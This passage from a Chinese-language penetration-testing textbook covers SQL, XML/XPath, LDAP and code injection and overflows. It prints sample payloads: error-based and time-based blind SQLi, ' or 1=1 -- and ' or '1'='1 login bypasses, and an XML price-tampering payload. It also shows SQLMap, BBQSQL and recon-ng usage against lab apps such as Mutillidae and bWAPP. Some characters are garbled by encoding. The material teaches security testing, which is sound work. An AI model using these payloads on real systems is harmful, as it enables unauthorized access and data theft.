自从动态内容的爆炸性增长将 JavaScript 带入 Web 开发的前沿以来,XSS 攻击一直是安全专业人员和数百万受害者的一大难题。再加上建立信任的过时手段(基于实体而没有对输入进行验证),这使得 XSS 成为了 OWASP 十大漏洞之一已经超过 10 年。很明显,应该采取一些措施来引起更多关注,而增加渗透测试的使用可以做出改变。

XSS 的工具有很多,虽然我们在这里包括了一些更容易获取的 Kali 工具,但在准备撰写本章时,我意识到工具集经历了一些起伏;一些工具随着时间的推移已经不再受欢迎,而另一些似乎仍在继续使用。其中一些可能归因于企业赞助 - Rapid7 是维护和赞助 Metasploit 的关键参与者,而 XSSer 和 Websploit 都曾得到间歇性的支持。我鼓励尽可能深入研究这些工具和其他工具,以便更好地了解哪些工具应该放在您的工具箱中。至少应该有两种工具用于每个角色,具有不同的优势和重叠的功能,以帮助更好地覆盖边缘情况。

在本章中,我们涵盖了 XSS 的类型,它们对我们的危害或帮助的潜力(黑客术语表示能够随意妥协站点或目标),以及一些很好的方法来利用它们来获得对客户及其与服务器的关系的可见性。正如我们所看到的,XSS 可以为真正的黑帽攻击者提供一个邪恶的立足点,使他们能够操纵系统资源并监视他们的受害者。在 XSS 专注于利用客户端-服务器信任关系来妥协客户端的同时,我们的下一章将讨论客户端攻击以及我们如何利用同样的信任关系来控制或迫使服务器本身。这些攻击被广泛称为注入攻击,并涵盖了 Web 应用程序安全领域的一些热门话题,如 HTML、SQL、XML,甚至常常被忽视的 LDAP。在下一章的结尾,您将拥有一套攻击的坚实基础,以帮助发现大多数应用程序及其客户端中的关键数据泄漏和主机控制漏洞。我很高兴您能一直关注到这一步,让我们看看我们还能造成或预防更多的损害!

第七章:注入和溢出测试

在当今这个时代,所有网站都会对用户提供动态响应,这些响应受到一些外部数据库的影响或从 HTML 本身外部的过程推断出来。在客户端,这通常被隔离并限制在浏览器的 DOM 空间中,但在服务器上,这些交织在一起的过程的种类和范围变得异常难以管理。典型企业的所有防御都被调整为允许应用程序绑定流量进入 Web 层,反过来,Web 层被信任访问应用程序和数据库层,黑客已经学会了将 Web 层变成他们的替身。Web 层无意中成为内部威胁,随之而来的是所有特权访问和信任关系。

注入是一种强大且常见的客户端-服务器连接的妥协形式,既可以用来暴露意外信息,也可以影响应用程序本身的性能。XSS 攻击侧重于注入脚本以诱使客户端执行攻击者的命令,而其他注入类型则直接针对后端数据。当我们测试或攻击 Web 应用程序时,妥协用户主机是有用的,但一系列服务器端注入可以诱使 Web 应用程序直接执行黑客的命令。这些注入攻击在应用中各不相同,但利用了 Web 应用程序验证用户输入和掩盖错误处理的弱点。攻击者的动机有很多,但除了窃取应用程序背后的数据或知识产权之外,还有更具破坏性的结果——破坏或损坏数据,破坏应用程序的可用性,破坏其在用户和公司中的信任地位。

注入最令人担忧的一点是它们很容易实施,而且很多网站都容易受到攻击。快速查看 Google Hacking DB(GHDB)或 Shodan.io 可以很容易地暴露出数百万缺乏保护的服务器。

我们当然应该对这些开源情报(OSINT)库进行粗略查看,因为黑帽骇客肯定在使用它们。使用 Burp Suite、Zed Access Proxy(ZAP)、Arachni 和其他工具进行重点扫描可以帮助我们发现特定目标中更广泛的潜在问题,以及一些与门户网站本身的智能互动。结构化查询语言(SQL)、可扩展标记语言(XML)路径语言(XPath)、轻量级目录访问协议(LDAP)、命令/可执行文件和超文本传输协议(HTTP)注入是最常见的威胁,但在影响和位置上有所不同。

在这一章中,我们将学习并实施注入和输入操纵攻击的主要类别,并学习如何使用几种工具来识别漏洞并利用它们的弱点。

本章将帮助我们:

  • 发现并针对各种注入形式(盲目、经典、复合)进行测试,包括针对 SQL、Oracle 和 LDAP 等各种数据库

  • 了解执行代码注入以导致堆栈、缓冲区和堆溢出的需要

  • 学会进行 HTTP 动词篡改和参数污染

  • 学会如何从 recon-ng、BBQSQL、SQLMap、SQLninja 等工具列表中选择并使用正确的工具

在测试中注入一些乐趣


注入攻击很多,但因为它们都插入代码,而且知道这些代码将被传输到应用程序或数据库层进行执行,所以它们的影响使得注入在 OWASP 十大中排名第一。我们将在这里介绍一些主要的攻击方式,但要知道扫描和测试方法非常相似,我们将利用自动化来探测每个门户的弱点迹象,并传递基于最佳实践的字符串来测试潜在的缺陷。在我们深入了解注入的各种类型之前,了解 OWASP 是如何对它们进行分类的会有所帮助。以下截图来自他们最新的发布候选版的OWASP 2017 十大列表(github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010%20-%202017%20RC1-English.pdf):

OWASP 的注入攻击特征。

OWASP 对这些攻击的关注点很多,但黑客的使用便利性和潜在影响使它们成为应用程序开发人员的严重关注点。Web 技术在很大程度上依赖于动态内容,这使得黑客将其视为注入的目标。以下表格可以帮助我们了解每种攻击的基本范围、相对难度以及它们通常被发现的弱点:

注入类型 检测难度 利用难度 潜在影响 最终目标/受影响组件
SQL 注入 困难 - 盲注易 - 经典 中等 非常严重 数据库枚举 SQL 支持的框架 Oracle 应用程序
XML(XPath)注入 中等 简单 严重 XML 存储的数据枚举、破坏、销毁
LDAP 注入 非常简单 简单 中等(各不相同) 凭证,通常用于升级或生成新账户
命令注入 困难 中等 非常严重 应用程序层插入命令以运行恶意代码,用于破坏或横向移动
缓冲区溢出 中等 中等 非常严重 应用程序层重新指向指令以执行恶意代码,用于破坏或横向移动
HTTP 注入 简单 非常简单 Web 或应用程序层强制在 Web 服务器或应用程序内执行功能

SQL 有用吗?


就注入而言,SQL 注入(SQLI)是最受欢迎的。尽管 SQL 数据库技术之间存在差异,但大多数都遵循美国国家标准学会ANSI)定义的共同基础语法、词汇和组织,这使得学习和适应新技术变得简单高效。它是关系数据库中的工作马,负责从相邻的应用程序或接口存储、操作和查询数据库。有很多免费资源值得深入了解 SQL,万维网联盟的网站(www.w3schools.com/sql/)是一个很好的起点,我们不会深入讨论底层语言。

统计数据显示,超过 98%的 Web 应用程序都由包含用户所需信息的数据库支持。其中,SQL 变体是最受欢迎的。这些相同的特点使得黑客很容易使用常见的查询和技巧来检测和利用这些数据库。

不过,不要被这些统计数据和潜在影响所迷惑:SQLI 攻击每年都在激增,尽管它们受到了关注,而且可以采取基本预防措施来消除或大大减少对应用程序的潜在影响。正如我们将在这里看到的,揭示和利用 SQL 注入漏洞是一个相对容易的任务。

数据库崩溃课程

关系数据库提供了一个类似表格的框架,用于存储数据。 SQL 是我们读取和写入这些表的语法,网站可以允许他们的用户通过构建查询并随后呈现结果来呈现有用的数据。会出什么问题呢?

嗯,许多数据库是由没有特定数据库技术背景的系统管理员或工程师实例化的。很可能你的技术恐惧症亲戚甚至在自己的个人电脑上安装了数据库作为应用程序的基础组件。同样有可能的是,将数据库嵌入到更大的应用程序中的人并没有深入研究数据库的详细硬化。简单的事情,比如默认管理员帐户、端口等在嵌入到父应用程序之前并不总是被清理干净。这些问题在没有专注于数据库的人员的组织中的 Web 应用程序数据库中也会出现。

Web 应用程序在征求用户查询和将其传递到数据库的方式上有所不同。许多使用PHP 超文本预处理器PHP)进行动态内容的网站通过统一请求定位器URL)字符串传递查询,因此非常容易修改以符合我们自己的目的,同时避免有意义的验证。其他网站通过限制用户通过预先制作的下拉列表、单选按钮和复选框构建搜索来强制执行和清理底层 SQL 查询。这些限制性的查询构建方法更难以利用,并且在可能的情况下建议用于安全的应用程序开发。

以下屏幕截图显示了这种情况发生的高层视图。

SQL 注入攻击的解剖

SQLI 的类型

考虑到 SQL 的多样性和实现它的方式有很多种,很有道理会有一些不同的实现 SQLI 的方式。与 XSS 一样,我们可以从几个方面来看待这个问题,但 SQLI 可能会有很大的变化,因此可以用不同的方式来描述。与 XSS 不同,我们可以通过观察一些提示或特征来区分 SQLI:

  • SQLI 的交付方式(通过表单、下拉列表、cookie 操作、URL 修改等)

  • 我们首先提交的输入类型(字符串与值)

  • 我们如何接收数据(也称为数据提取通道)

  • 响应的构建方式(返回错误或隐藏任何故障)

  • 影响应用程序或数据库产生结果所需的查询数量

我们不会详尽地涵盖所有这些类别,但我们将讨论常用的类型以及它们如何适用于上述类别。此外,我将使用我们信赖的 OWASP 破损 Web 应用程序BWA虚拟机VM)来展示一些示例,并且我们将看到我们如何依次处理每个类别,包括实际的注入技术以及可以自动化使用的工具。

In-band 或经典 SQLI

In-band SQLI是 SQLI 的最简单和最常见的模式,通常称为经典 SQLI类型。 In-band 更好地描述了攻击的进行方式。 In-band SQLI 涉及通过相同的通道发起攻击(恶意 SQL 查询)和接收响应(该查询的结果)。黑客可以以几种方式使用这些攻击。

  • 基于错误的 SQLI:黑客可以使用意图使响应出错的字符串来探测应用程序,这些响应可以揭示网站的结构和策略,但有助于绘制和枚举应用程序正在使用的数据库。下面的 Mutillidae 示例显示了一个语句,当注入请求时,将引发详细错误,实际上可以告诉我们底层的信息:
username=''' AND (SELECT 6803 FROM(SELECT COUNT(*),CONCAT(0x71627a6271,(SELECT (ELT(6803=6803,1))),0x716a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sFFK&password=''&login-php-submit-button=Login 
  • 基于联合的 SQLI:在更精确的方法中,黑客(我们)可能已经勘察了数据库,现在将试图将单独的语句(使用union语句)合并为一个请求,以从应用程序中引出意想不到的结果。通过这样做,他们可以利用一个探测性查询和应用程序期望的内容结合起来,在返回结果时实际上泄露信息!

盲注入

盲注入就像是数据库版本的童年游戏热或冷。如果你从未玩过,藏玩具的孩子通过说来提供给搜索者提示,随着搜索者的接近程度,热度的程度也会有所不同,当他们离隐藏的目标越来越远时则说。盲注入也是如此:当数据库不直接告诉你,应用程序开发人员又隐藏错误细节时,有时你可以通过推断答案并提出正确的真或假问题来获取所有信息。当然,通过经典的 SQLI 模式之一直接获取数据会更容易,但是通过查询作为真/假探测,黑客可以系统地枚举数据库,甚至不需要返回任何数据。也就是说,盲注入有两种主要类型。

  • 基于内容的盲注入:在这种类型的 SQLI 中,黑客试图使用查询来推断数据库中的数据类型、条目或结构的存在,通过观察应用程序是否返回错误,或者基于真或假条件返回不同的错误。下面是 Mutillidae 应用程序中的一个 MySQL 示例:
username=-1419' OR 7078=7078#&password=''&login-php-submit-button=Login 
  • 基于时间的盲注入:盲注入的另一种形式帮助克服了 Web 层的任何错误筛选,通过操纵查询中的基于时间的命令。当我们将基于时间的命令与布尔(也称为条件)查询结合在一起,并观察到在指定时间后出现错误时,这就成为我们的真/假试金石测试。SQL 有一些等待和休眠语句,有时会被接受;当与数据库可能不想直接返回答案的查询结合时,延迟可能就是我们需要枚举内容的所有答案。以下是一个示例:
username=''' AND 9120=BENCHMARK(25000000,MD5(0x6b4e4344))-- yHeA&password=''&login-php-submit-button=Login 

无论你如何处理盲注入,它都是相当费力的,不是你在现实世界中想要手动完成的事情;使用真/假测试在表中找到每个字母并逐个浏览整个字母表是高性能计算的工作,而不是人类的工作。因此,建议您只在没有其他选择时尝试盲注入。诸如 SQLMap 和 SQLninja 之类的工具可以帮助自动化这一过程,但正如我们将很快看到的,盲注入扫描可能是一个漫长而冗长的过程。

堆叠或复合 SQLI

一旦你了解了经典和盲注入的方法,就不难理解如何制作复合语句,并将多个请求堆叠在一起,不仅可以映射我们的目标数据库,还可以操纵、破坏或销毁存储的数据,并最终在数据库上运行代码。例如,你可以将基于联合的 SQLI 的数据提取与紧随其后的命令配对,从源表中删除数据。Netsparkerwww.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)和PenTestMonkeypentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)都提供了一份很好地介绍了堆叠 SQLI 可以在多种数据库类型上用于正面(或负面)的作用的备忘单。在这里造成伤害的潜力是巨大的,因此最好使用标准的 Kali 提供的工具(或其他动态应用安全测试DAST套件)进行扫描和测试,而不是自己设计漏洞利用。

SQLI 工具学校

现在我们知道如何判断每种 SQLI 注入类型对目标的影响以及它如何帮助黑客,我们需要一些方法来实际检测和利用这些漏洞。正如我们所看到的,注入攻击有各种各样的实施和影响,正如您所期望的那样,有大量工具可以满足渗透测试人员和黑客的需求。然而,我的目标是为您提供一套可以在各个方面提供覆盖并为您节省时间的工具基础,同时在需要时学习和专门化。在本节中,我们将看到如何使用 SQLMap、BBQSQL、SQLNinja 和一些老式的浏览器魔术来识别和利用 SQLI 漏洞。

通过浏览器进行老式 SQLI

开玩笑的时候到此为止,有经验的黑客会编写脚本来爬取应用程序的所有潜在页面,然后访问每个页面进行调试,以了解是否可能进行 SQLI。扫描工具很有趣,但没有什么比仅使用浏览器来获取访问权限、提升权限或渲染敏感数据更能向客户展示攻击的严重性。举个例子,如果我们想试图诱使页面透露其查询语法,我们可能会强制出现错误,如下截图所示,数据库试图告诉我们如何纠正它:

强制 SQL 错误

当我们点击登录按钮时,我们有帮助的数据库泄露了秘密,我们意识到我们要攻击的查询到底是什么,如下截图所示:

SQL 错误真是太有帮助了!

仔细看,我们要处理的查询只是在一个名为accounts的表中寻找一个名为username的字段:

SELECT username FROM accounts WHERE username=''' 

通过查看这个简单的查询,并应用从 SQLI 作弊表或实际学术知识中获得的一些 SQL 知识,显然这个查询成功地使我们脱离了查询,下一步我们应该尝试欺骗一个有效的用户名,并尝试跳过密码。我们可以通过输入一个新的字符串来实现这一点,其中' or 1=1 --将使用逻辑操作来确保用户名存在,双破折号和尾随空格告诉 SQL 跳过接下来的字段;在这种情况下,它方便地跳过了我们讨厌的密码字段。当我们将该字符串输入到用户名字段时,新的查询看起来是这样的:

SELECT username FROM accounts WHERE username='' or 1=1 -- ' 

这点 SQL 知识为我们赢得了一次相当关键的胜利:我们现在以管理员身份登录,如下截图所示:

SQLI 如此令人畏惧的原因。

我想我们都可以同意这相当方便——有意漏洞的 Mutillidae 应用程序很容易攻破。管理员被还原,因为大多数未经加固的数据库都是如此,管理员用户是用户数据库中的第一个条目。然而,现实世界中的 SQLI 可能就是这么简单,只要黑客具有深入的 SQL 知识并愿意尝试和解释 Web 应用程序返回的错误。在这方面非常有帮助的工具是 Firebug Firefox 浏览器插件(addons.mozilla.org/en-US/firefox/addon/firebug/),它可以帮助您揭示密码字段,并在通常被隐藏的字段中注入 SQL 查询。如果您有很多其他任务要处理,无法忍受亲自操作的时间,还有一些有用的工具可以迭代这些查询并为我们解释响应。

使用 SQLMap 加强

让我们看看我们已经熟悉的工具 Burp Suite 如何被用于向 Kali 最古老的工具之一 SQLI,SQLMap,以帮助检查各种 SQLI。警告一下-虽然 Burp 的速度和多功能性都很快,但 SQLMap 需要很长时间来完成其许多测试。本章的测试运行在一个性能强大的虚拟机上花了超过 10 个小时(4 核,8GB 的 RAM),但是等待是值得的。让我们看看这个过程是如何工作的。

首先,我们需要拂去灰尘,启动 Burp Suite,将其设置为我们的代理,并允许其拦截我们的请求。做到这一点后,我们可以浏览到我们一直在攻击的相同登录页面,输入一些访客凭据,并在我们的Proxy选项卡和Intercept子选项卡中捕获请求(如下图所示)。请注意,这在最后一行捕捉到了我们的虚假凭据,以及 SQLMap 可能需要执行其工作的其他重要格式和语法细节:

捕获我们的请求。

方便的是,Burp Suite 允许我们直接将其保存到文件供 SQLMap 使用(如下图所示):

保存我们的请求供 SQLMap 使用。

使用您喜欢的编辑器(在我的情况下是nano),您可以将凭据字段更改为两个单引号,如下图所示:

编辑请求后再传递给 SQLMap。

现在,您可以执行SQLMap并将您的响应文件传递给它,以及设置您感兴趣的任何其他选项,使用SQLMap命令:

SQLMap -r mutillidae_SQLMap.req --threads=10 �b �-time-sec 10 

现在我们应该看到SQLMap正在进行测试,如下图所示,测试各种漏洞并从 SQL 角度为我们勾画我们的目标。

SQLMap 测试进行中。

我们需要回答一些问题,但在这些练习场景中,通常可以对所有问题回答是。经过长时间而紧张的扫描后,SQLMap将以潜在易受应用程序影响的注入摘要回应,并对数据库和 Web 应用程序本身进行表征,如下图所示:

SQLMap 的输出显示了 SQLI 类型和服务器信息。

注意

您可能会认出我之前提供的注入点,我将它们作为本章前面一些类型的示例。这些可以直接通过 Burp 或 ZAP 插入到请求中,并立即验证。

使用 BBQSQL 制作一些菜单驱动的 SQLI

SQLMap 是一个用于详尽发现的好工具,但有时您渴望一种菜单驱动的方法来实际利用特定的东西,特别是在盲 SQLI 周围。如果您不是 SQL 专家,但知道您需要从某个主机定制一个特定的利用程序,您可以使用BBQSQLgithub.com/Neohapsis/bbqsql)来定制一个盲 SQLI 利用程序,这是由 Neohapsis(现在是思科的一部分)开发的工具。如果您是社会工程工具包SET)的忠实粉丝,并且想要快速利用盲 SQLI,那么 BBQSQL 就是为您量身定制的!让我们快速看一下如何配置它并将其用于您自己的目的。

要启动 BBQSQL,我们不需要捕获请求进行有效分析,但复制一个测试请求以帮助构建攻击是有帮助的。我们可以通过 GUI 快捷方式启动它,或者在 CLI 中使用bbqsql启动。起始页面(如下图所示)对 SET 用户来说非常熟悉,这有助于我们更轻松地开始:

BBQSQL 启动菜单(用蓝色标出)。

逐个浏览每个菜单(见下图),大多数基本参数都在 HTTP 选项中。这是我们可以输入 URL、任何输入字段以及自定义代理和任何代理信息的地方。

BBQSQL HTTP 菜单。

BBQSQL 特定参数是 BBQSQL 引擎的核心。以下是重要或最基本的选项:

  • 技术:定义这是一个真/假测试(binary_search)还是基于频率/时间的测试,计算出现次数(frequency_search)。

  • 比较属性:这是我们告诉 BBQSQL 要寻找的内容,并且它将用于区分真假的内容。大小、文本字符串、值和许多其他类型的比较都是可用的。

  • 并发性:BBQSQL 的速度是其支持的并发性的直接结果,这使其能够以比其他方法更快的速度发现数据库内容。

  • Hooks 文件:您可以使用 hooks 来装饰您的攻击,这是其他工具中没有的一项改变游戏规则的 Python 定义功能,因为它们允许进行各种可能需要在发送注入请求过程中发生的操作,比如加密、循环、编码或掩码。

  • 查询:虽然其他 SQLI 工具针对特定数据库平台进行处理,但 BBQSQL 选择伪代码,允许您创建可跨 SQL 类型工作的利用程序,甚至是 Oracle。这些查询可以在 URL、cookies 或数据本身中使用(请参见以下屏幕截图)。

BBQSQL 选项菜单。

我强烈建议不仅针对 Mutillidae 应用程序进行练习,还要针对 OWASP BWA VM 上提供的其他应用程序进行练习,比如Damn Vulnerable Web ApplicationDVWA),或者从www.vulnhub.com上新发布的应用程序。

另一个值得关注的工具是SQLninjasqlninja.sourceforge.net/index.html),它适用于基于 Microsoft SQL 的项目,是一个基于 Perl 的工具,可在 Kali Linux 中使用。 SQLninja 在利用和注入基于检测结果的其他工具的特定数据库子集方面做得非常出色。由于其范围较窄,我们在这里没有涵盖该工具,但对于那些目标数据库是基于 Microsoft 的情况,它可能非常有价值!

SQLI 与 Oracle 高端化

如果 SQL 注入是最常见且易于实施的,那么 Oracle 注入就是它们富有和独特的表亲。Oracle 数据库需要付费许可和对其更常见和广泛的 SQL 表亲的高级知识。这使它们更适用于更昂贵的 Web 应用解决方案,因此它们在更大的企业或愿意为更大的内在可扩展性和企业级支持付费的企业中最常遇到。

可以说 Oracle 注入攻击是值得了解或在您的工具箱中拥有的。为什么呢?扫描结果返回识别 Oracle 作为底层 DB 框架的结果,实际上也在宣传其内容的更高价值。建立和维护它们的费用通常是合理的,考虑到它们所持有的价值:Oracle 数据库被信任保存一些非常敏感和有价值的信息。因此,虽然我们更常见地看到 SQL 注入,但学习 Oracle 的方法并确保我们在机会出现时做好准备只需要很少的努力。请放心,我们的黑帽对手也在寻找这些进入应用程序的路径,所以我们最好先于他们找到!

注意

BBQSQL、SQLMap 和其他工具都提供了 Oracle 模块或扩展,以确保它们也受到覆盖。在 Oracle 中也可以使用在黑客 MySQL、PostgreSQL 和其他数据库中使用的大部分 ANSI 指令集,因此尽管结构上的差异值得注意,但这些工具应该能够提供帮助。

X 因子 - XML 和 XPath 注入


一些应用程序开发人员正在摒弃 SQL,转而使用基于 XML 编写的新的、开放标准的数据结构。为什么会有人选择这样做呢?使用 SQL 构建的关系数据库无疑是利用了非常稳定、成熟的技术,但有时具有多个关系索引的数据在呈现和存储为 XML 时更加紧凑。这需要在数据库层面的性能方面进行权衡。关系数据库区分不同的变量类型,这意味着它们可以根据字符串、整数、布尔值或其他类型进行优化处理。XML 将所有内容都视为文本字符串,因此应用层需要对存储的数据进行检查,并使用更复杂的逻辑和处理开销进行操作。没有 100%正确的答案-这些因素将被权衡,以确定每个应用程序所需的混合方式。

在与数据交互时,可以使用 XML 本身,也可以使用XML Path LanguageXPath)来向存储的数据传递类似 SQL 的命令、请求和操作。XML 实际上并不是一种数据存储技术,而更多地是一种传输/交付标准。如果我们正在针对的 Web 应用程序将大部分时间用于使用 SQL 来提取或操作数据,然后必须将其转换并创建 XML 表示,那么只使用 XML 可能会大有帮助。好消息是我们也有很多可用于 XML 的工具。Burp Suite 和 OWASP ZAP 将检测一些 XML 注入漏洞,就像 SQLI 一样,浏览器或 XML 查看器可以在这方面提供很大的帮助。

XML 注入

XML 注入通常是将数据插入到 XML 元素中,无论是在其节点属性节点值还是CDATA字段中。在下面的片段中,我们看到了一个简单的条目,用于我可能正在购物的东西,但希望能以更便宜的价格得到(这是一个模拟的场景,我总是以公平的价格购买饮料):

<catalog>
   <item id="607">
       <brand>Russian River</brand>
       <beer>Pliney the Elder, 12 oz.</beer>
       <price>8.99</price>
   </item>
</catalog>

现在,如果我对支付不感兴奋,或者希望免费获得它,我可以通过 XML 传递有效负载,稍微改变游戏规则。这是我可能插入到服务器的 XML 文件中的有效负载:

3.99</price></item><item id="608"><brand> Russian River</brand><beer>Pliney the Younger, 16 oz.</beer><price>3.99

这给我带来了如下的代码:

<catalog>
   <item id="607">
       <brand>Russian River</brand>
       <beer>Pliney the Elder, 12 oz.</beer>
       <price>3.99</price>
   </item>
   <item id="608">
       <brand> Russian River</brand>
       <beer>Pliney the Younger, 16 oz.</beer>
       <price>3.99</price>
   </item>
</catalog>

注意

实际上,通过普通的 XML 获得对生产服务器的这种访问几乎是不可能的。这也意味着 Kali 托管的工具中没有多少 XML 注入,但是这奠定了理解后端服务器使用 XPath 操纵 XML 的更真实可能性的基础。

XPath 注入

XPath是 XML 人员嫉妒 SQL 并发明自己的查询语言时发生的事情。好消息(对于黑客来说)是 XPath 具有全有或全无的含义,如果你获得了一些访问权限,你就能获得全部!抱歉,XML 人,当你试图让一个标准做太多事情时,就会发生这种情况。与 SQL 不同,XPath 缺乏细粒度的访问控制,因此没有特权层级可供导航,如果你可以枚举一个字符,你就知道你能够捕获所有字符。希望我们的目标开发人员能理解这些权衡,并通过其他方式进行保护,以防止访问或验证所有交易。

XPath 注入一旦掌握了 SQLI 的基础,就变得非常简单。我们正在寻找暴露逻辑或更好地说,给予我们完全访问权限的转义字符。首先,让我们进入Broken Web AppBWAPP)的XML/XPath Injection (Login Form)漏洞页面,并打开我们的门户,我将在下面的截图中展示如何找到它。这个虚拟机包含在我们一直在使用的 OWASP BWA 中。你可能已经注意到了,但显而易见的是,OWASP BWA 虚拟机是除了 Kali 本身之外最重要的培训工具,而且是免费的!

查找 Broken Web App XPath 注入页面

如果我们再次使用我们的单引号字符,观察任何错误,我们可以测试潜在的 XPath 注入的输入验证不足(如下截图所示):

指示可能存在 XPath 注入的错误

与我们在 SQL 中看到的' or 1=1 -â��字符串不同,我们将在LoginPassword字段中使用 XPath 变体的' or '1'='1,告诉 XPath 查询请查找这个转义字符,因为 1 等于 1,所以我们是合法的!我们希望进行验证以清理这些输入,但令人费解的是,有多少服务器将使用这个字符串返回登录成功,如下截图所示:

使用 XPath 注入登录

使用浏览器理解这个过程很棒,但是当您让工具帮助时,您还可以做更多。Recon-ng是一个出色的 CLI 工具,提供了类似于 Metasploit 或 Websploit 的菜单结构,与xpath_bruter模块(由 Tim Tomes 精心管理)一起,帮助自动传递Blind XPath 注入有效负载以列举主机。我们还将与 Burp Suite 合作,以便我们可以收集我们需要的输入。因此,启用代理,准备好支配 BWAPP!让我们首先看看recon-ng从我们这里需要什么,如下截图所示:

Recon-ng 的 XPath_Bruter 模块

假设我们是 OSINT 忍者,也许我们进行了一些社会工程学,发现 Thor 是一个用户,他的密码相当天真,是 Asgard。我们可以使用这一组凭据来设置我们的盲目 XPath 注入。从前面的show options命令的输出中,您可以看到我们需要一些东西来开始。以下截图突出显示了我们大部分需要的字段。

我们的 Burp Suite 捕获以供 Recon-NG 使用

首先,我们将获取BASE_URL(红色)。然后您需要参数字段,这是我们将要暴力破解以列举数据的 URL 字符串的一部分(绿色)。我们将使用登录参数在 true 和 false 之间切换。假设您现在能拦截所有请求,您应该看到该门户网站使用 HTTP GET 消息提交查询(如蓝色所示),这意味着查询嵌入在发送到服务器的 URL 中。最后,这个特定的门户网站使用 cookies,所以我们可以粘贴整个字符串(紫色)。

Recon-ng 的XPath-Bruter模块将要知道所有这些,它还将要知道我们如何区分真假(string变量)。因此,如果我输入我知道是真实凭据(我们的真实条件),我会收到 Thor 的秘密消息,所以我可以使用单词Earth作为我的字符串。如果我使用已知的假条件进行布尔and条件(在撰写本书时,1 肯定不等于 2),那个字符串将不会出现。

所以让我们输入这些变量,将 Burp 和我们的代理配置排除在外,执行我们的暴力攻击!我们将在几分钟内看到的是下面截图中列举的:包含所有用户帐户的heroes.xml文件的整个内容:

从 recon-ng 的 xpath_bruter 模块列举的 XML

您会发现其他注入工具非常遵循类似的方法。检测技术集中在试错过程中寻找可以帮助暴露缺陷的字符串,而利用(在道德黑客中)通常专注于枚举。黑客可能使用其中一些工具来实际损坏、操纵或破坏数据,但他们通常使用自定义的 Python 或 Ruby 脚本来执行这些恶意攻击,或者利用暗网上提供的框架。用于更高级基于 CLI 的注入测试的更好的工具之一是 Wapiti(wapiti.sourceforge.net/),因为它可以帮助进行 SQL 和 XPath 注入,并支持大量的命令行开关、选项和用例。

凭证 Jedi 心灵技巧


数据库管理员、分析专家和数据科学家因帮助构建、管理和提供各种数据库类型的数据而获得高额报酬,这是理所当然的。但即使一个应用程序不使用这项技术,或者一个企业不直接投资这些数据库类型,我敢打赌他们都安装了一个数据库,这个数据库对他们的内部运作来说可能更重要--凭证数据库。每当客户使用Microsoft Active DirectoryAD)、轻量级目录访问协议LDAP)的许多变种,或者另一个身份管理系统IMS)时,都存在一个潜在的数据库等待测试。

凭证数据库黑客可能有不同的目标。最直接的目标是寻找合法用户的帐户,以允许黑客冒充用户并访问敏感信息。其他人将寻找可能尚未被禁用或隐藏的默认帐户,然后可以毫无顾忌地使用这些帐户进行特权访问、管理功能,甚至创建新的影子帐户,这些帐户可以用作后门,并保护最初被损害的帐户以供以后尝试。与 SQL 和 XPath 一样,LDAP 查询有自己的语法;与其他注入类型一样,未能对数据进行消毒的易受攻击的查询可能受到转义字符的影响,这些字符可以强制登录或快速提升权限。幸运的是,LDAP 在使用上更加具体,因此它比其他类型的注入更容易进行手动测试。另一方面,没有广泛使用的工具专门用于 LDAP 注入扫描或利用。Burp Suite 可以提供一些检测和一般的注入帮助,但更多信息请参考 OWASP 关于 LDAP 注入的指导:www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)

超越说服 - 注入以执行


好吧,我们不再玩得很好了。也许攻击者已经决定一个网站对他们没有价值,但他们仍然想要否认其功能对合法用户的使用。也许他们正在寻找这个应用程序,并希望将其关闭并使应用程序所有者无助。或者更糟糕的是,也许他们只是使用这个网站来到达另一个网站,通过损害应用程序,他们希望影响或横向移动到另一个网站。无论动机是什么,一类注入攻击超越了说服应用程序吐露其秘密;它们反而试图说服服务器运行新代码或执行应用程序开发人员根本没有意图使用或允许的命令。

我们需要在坏人之前找到这些攻击。数据泄漏无疑是一个巨大的问题,但服务器的完全崩溃或长期受到威胁会威胁应用程序的存在以及依赖它的公司。

代码注入

代码注入用于实施所谓的缓冲区溢出攻击。这些攻击不是通过弹出消息来展示漏洞的存在,而是专注于利用应用程序安全验证中的这些漏洞来执行允许攻击者接管目标或使用受损服务器作为进入环境的枢纽的任意代码。简而言之,如果一个网站在 PHP 或 ASP 上运行,并通过 URL 查询传递信息,您可以通过简单地识别特征字符串来寻找代码注入漏洞,从而显示页面重定向被接受,从而找到漏洞所在。

/bWAPP/phpi.php?message=test

虽然这是一个相当温和的测试路径(我们不打算造成伤害),但我们可以通过改变消息并捕获结果来利用这个漏洞为我们的客户。如果可以通过一个简单的消息来改变 Web 服务器的行为,黑客将尝试使用标准的 PHP 函数在服务器上运行真正恶意的东西,以试图颠覆或接管 Web 服务器本身。

我修改了消息以展示谁掌控着,使用以下字符串,结果显示在以下截图中:

http://172.16.30.129/bWAPP/phpi.php?message=MikeRules

成功的代码注入

溢出的乐趣

有几种代码注入形式会导致缓冲区溢出,每一种都专注于攻击底层 Web 或应用程序层服务器中的不同服务,或者是应用程序本身。开发人员通常不会注意到这些知名的溢出攻击,因为他们在管理大量库的复用,可能并不了解存在漏洞。尽管存在这些潜在问题,我们对这些问题了解更多,因此我们必须鼓励客户在修补和配置管理方面保持高度警惕。然而,他们自己的自定义代码和所选择的编程语言缺乏这种程度的审查,因此如果没有我们帮助测试他们的应用程序,他们将容易受到相同类型的攻击,但通过独特的向量。

我们将在 Web 渗透测试领域讨论的常见类别包括堆栈、堆、格式字符串、Unicode 和整数类型。

  • 堆栈溢出是比较常见的一种被利用的形式,当使用松散类型的语言如 C++或 ASP.NET 时,开发人员未能在他们的代码中实施至少输入验证和/或堆栈完整性检查(也称为 canary 值)。由于没有对用户输入的类型或大小进行验证,攻击者利用这一点将更长的字符串注入到堆栈中,执行堆栈然后覆盖相邻的内存空间,从而允许恶意代码找到家园;被调用的函数现在指向恶意代码的内存空间顶部。

注意

一些 CPU 能够帮助防御这些溢出,因为它们是更现代的操作系统。确保 Web 应用程序团队在软件开发生命周期规范和设计阶段中指定硬件要求并考虑它们是非常值得的。

